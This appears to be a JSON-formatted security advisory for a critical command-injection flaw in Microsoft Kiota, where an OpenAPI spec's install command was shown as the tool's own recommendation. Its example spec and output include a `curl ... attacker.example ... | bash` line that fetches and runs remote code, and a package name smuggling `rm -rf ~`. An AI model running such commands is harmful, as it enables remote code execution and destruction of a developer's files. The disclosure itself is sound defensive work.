{"id":"CVE-2026-59865","aliases":["GHSA-hq9q-27g5-qwpj"],"title":"Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`","summary":"Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`","severity":"critical","cwe":["CWE-94","CWE-829"],"vendor":"Microsoft","product":"Microsoft.OpenApi.Kiota","ecosystem":"nuget","affected":["Microsoft.OpenApi.Kiota < 1.32.5","Microsoft.OpenApi.Kiota.Builder < 1.32.5"],"patched":["Microsoft.OpenApi.Kiota 1.32.5","Microsoft.OpenApi.Kiota.Builder 1.32.5"],"published":"2026-07-24","updated":"2026-07-24","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-hq9q-27g5-qwpj","references":[{"url":"https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59865"},{"url":"https://github.com/microsoft/kiota/pull/7883"},{"url":"https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6"},{"url":"https://github.com/microsoft/kiota/releases/tag/v1.32.5"},{"url":"https://github.com/advisories/GHSA-hq9q-27g5-qwpj"}],"tags":["ghsa","nuget"],"epss":0.04359,"epssPercentile":0.90834,"ingestedAt":"2026-07-24T16:33:09.659Z","slug":"CVE-2026-59865","body":"## Overview\n\n### Summary\n\n`kiota info` — the command developers run to learn which packages to install after generating a client —\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install\ncommand**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d <attacker-spec> -l CSharp\n   ...\n   Hint: use the install command to install the dependencies.\n   Example:\n      curl -s https://attacker.example/x.sh | bash   # attacker-controlled\n```\n\nA developer who followed kiota's explicit instruction (run the suggested install command) executed\nattacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n  languagesInformation:\n    CSharp:\n      dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n      dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota's hint, or by the IDE).\n\n### Patches\n\nFixed in **1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota's own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.32.5** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.\n\n## Affected packages\n\n- `Microsoft.OpenApi.Kiota < 1.32.5`\n- `Microsoft.OpenApi.Kiota.Builder < 1.32.5`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `Microsoft.OpenApi.Kiota 1.32.5`\n- `Microsoft.OpenApi.Kiota.Builder 1.32.5`","depth":"midnight","depthScore":53,"depthScoreParts":{"impact":52.3,"likelihood":0.9,"exploitation":0,"ransomware":0},"changes":[]}